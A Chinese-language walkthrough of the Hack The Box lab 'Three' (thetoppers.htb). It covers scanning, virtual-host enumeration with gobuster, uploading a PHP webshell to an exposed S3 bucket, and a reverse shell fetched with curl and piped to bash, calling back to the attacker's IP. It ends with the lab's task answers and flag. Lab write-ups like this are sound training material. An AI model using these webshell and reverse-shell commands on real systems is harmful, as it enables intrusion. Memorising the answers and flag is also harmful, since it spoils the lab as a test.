太久没打靶机又多了一个 又突破我的知识上限了
文章目录
信息收集
扫描发现开放 22 和 80 两个端口,22 是
ssh
服务,登录分为账号密码登录和公钥登录
ssh username@ip
ssh ip
没有登录成功,看80端口
是一个乐队的官网,
apache2.4.29
、
linux
系统、
php
,功能有搜索,买票,联系我们,不过都只是做个页面,没有实际的请求交互
尝试目录爬取和爆破,没有什么有用的信息…
Email: [email protected]
看到了邮箱,然后把靶机
ip
和域名进行绑定,然后进行子域名爆破,不要问为什么这么做,学着点就行了
子域名爆破,这个问题,因为我们现在只能解析靶机IP和它对应的域名,子域名如何解析?即使是同一个IP的子域名,在没有修改
hosts
文件时也是无法访问的,工具又是如何判断爆破的子域名存在呢?
使用
gobuster
爆破,字典也是从别的工具里借用的,但是字典太大了,就提前结束了
gobuster vhost -w /usr/share/wordlists/domain_dic.txt -u http://thetoppers.htb
vhost 的主要功能是枚举某个服务上部署的所有虚拟主机,其原理是通过构造 HTTP 请求头,将字典中的域名设置到 HTTP 请求头到 HOST 字段,然后通过 IP 请求网站,如果是该域名的虚拟主机,那么请求会返回该域名下的网站内容,如果不是,则返回通过 IP 访问获得的资源而非域名下的资源
这样就解释的通了,接下来同样是修改
hosts
文件
可以看到返回包的头
使用的
hypercorn
这是一个
ASGI
服务器,启用后监听8000端口云云,不用了解太多
ASGI(异步服务器网关接口)是WSGI的精神继承者,旨在在具有异步功能的Python Web服务器,框架和应用程序之间提供标准接口
AWS S3 拿shell
s3
👉
AWS S3
全名是
Amazon Simple Storage Service
,简便的对象存储服务,存储的数据类似键值对的形式,就是对象名:数据
apt install awscli // 安装工具
aws configure // 配置
前两项配置是用户凭证,通过什么身份连接到
AWS
存储库,第三个是区域信息,第四个是输出格式,为什么都是
temp
我也不懂,可能是设置的
通过该工具访问并执行命令
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
还可上传文件,上传一个一句话木马
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
成功获取
webshell
权限
curl -v http://thetoppers.htb/shell.php?cmd=id
接下来反弹
shell
,创建一个
shell.sh
文件,执行后连接本机 1337 端口
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/1337 0>&1
和之前下载
netcat
一样的步骤,目标主机访问本机
web
服务端口下载脚本执行,连接到
nc
监听的端口
python
监听 8000 端口
python3 -m http.server 8000
nc
监听 1337 端口
nc -lvnp 1337
访问如下连接,请求下载
shell.sh
并执行,别怀疑,就是
|bash
,代表执行该脚本
http://thetoppers.htb/shell.php?cmd=curl 10.10.16.6:8000/shell.sh|bash
反弹成功,查看
flag
(靶机ip已变)
复出第一篇!累
答案
2
thetoppers.htb
/etc/hosts
s3.thetoppers.htb
Amazon S3
awscli
aws configure
aws s3 ls
php
a980d99281a28d638ac68b9bf9453c2b
版权归原作者 重返太空 所有, 如有侵权,请联系我们删除。